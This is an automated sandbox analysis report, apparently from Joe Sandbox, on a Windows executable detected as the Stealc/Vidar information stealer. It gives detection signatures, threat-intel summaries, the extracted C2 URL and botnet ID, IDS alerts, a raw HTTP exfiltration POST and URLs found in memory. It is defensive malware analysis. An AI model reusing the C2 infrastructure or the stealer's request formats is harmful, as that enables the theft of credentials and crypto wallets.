Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1532119
MD5:	279b92e7a6114a2fb3ab693e1f44986d
SHA1:	a5bdcdc42686a9bd6e84c64c1c1cc08e8a092080
SHA256:	6def5d54651eadddb784cfc5b852903126436fa9b81c4abcceed6dce3dc6a72e
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6312 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 279B92E7A6114A2FB3AB693E1F44986D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1774077760.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2093924114.000000000133E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6312	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6312	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6312	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6312	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.7f0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-12T13:17:20.838159+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-12T13:17:20.831542+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-12T13:17:21.060848+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-12T13:17:22.158661+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-12T13:17:21.068028+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-12T13:17:20.602907+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-12T13:17:22.649079+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-12T13:17:27.809651+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-12T13:17:28.857740+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-12T13:17:29.678610+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-12T13:17:30.117166+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-12T13:17:31.932365+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-12T13:17:32.448115+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDAAKJEGCFCAKEBKJJEHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 35 36 43 35 30 34 42 42 45 45 38 32 30 37 38 35 38 38 37 32 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 2d 2d 0d 0a Data Ascii: ------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="hwid"756C504BBEE82078588720------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="build"doma------GHDAAKJEGCFCAKEBKJJE--

Source: file.exe, 00000000.00000002.2093924114.000000000133E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll$)1
Source: file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dllKe
Source: file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dllZ
Source: file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll2)?
Source: file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dllL
Source: file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dllh
Source: file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dllP)
Source: file.exe, 00000000.00000002.2093924114.0000000001383000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll6(#
Source: file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.2093924114.000000000133E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dlln
Source: file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll3
Source: file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php)f
Source: file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php2
Source: file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php5f
Source: file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php9b
Source: file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php:
Source: file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpDAFBFBKFHJJKEHIEG
Source: file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpFirefox
Source: file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpS
Source: file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpT2
Source: file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpafT
Source: file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpdll
Source: file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpnomi
Source: file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpser
Source: file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpus.wallet
Source: file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpyfL
Source: file.exe, 00000000.00000002.2093924114.000000000133E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37Ll
Source: file.exe, 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2113220231.000000006F8DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2105397487.000000001D83A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2112845194.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: GHJKJDAK.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2110032250.00000000298A1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, KFIDAFBFBKFHJJKEHIEG.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.2110032250.00000000298A1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, KFIDAFBFBKFHJJKEHIEG.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: GHJKJDAK.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: GHJKJDAK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: GHJKJDAK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2110032250.00000000298A1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, KFIDAFBFBKFHJJKEHIEG.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.2110032250.00000000298A1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, KFIDAFBFBKFHJJKEHIEG.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: GHJKJDAK.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: GHJKJDAK.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: GHJKJDAK.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: KFIDAFBFBKFHJJKEHIEG.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: DHDHJJJECFIECBGDGCAAAEHIEG.0.dr	String found in binary or memory: https://support.mozilla.org
Source: DHDHJJJECFIECBGDGCAAAEHIEG.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: DHDHJJJECFIECBGDGCAAAEHIEG.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, file.exe, 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1939239657.000000001D740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: file.exe, 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: file.exe, 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1939239657.000000001D740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: file.exe, 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: file.exe, 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17t
Source: file.exe, 00000000.00000002.2110032250.00000000298A1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, KFIDAFBFBKFHJJKEHIEG.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: GHJKJDAK.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.2110032250.00000000298A1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, KFIDAFBFBKFHJJKEHIEG.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: GHJKJDAK.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
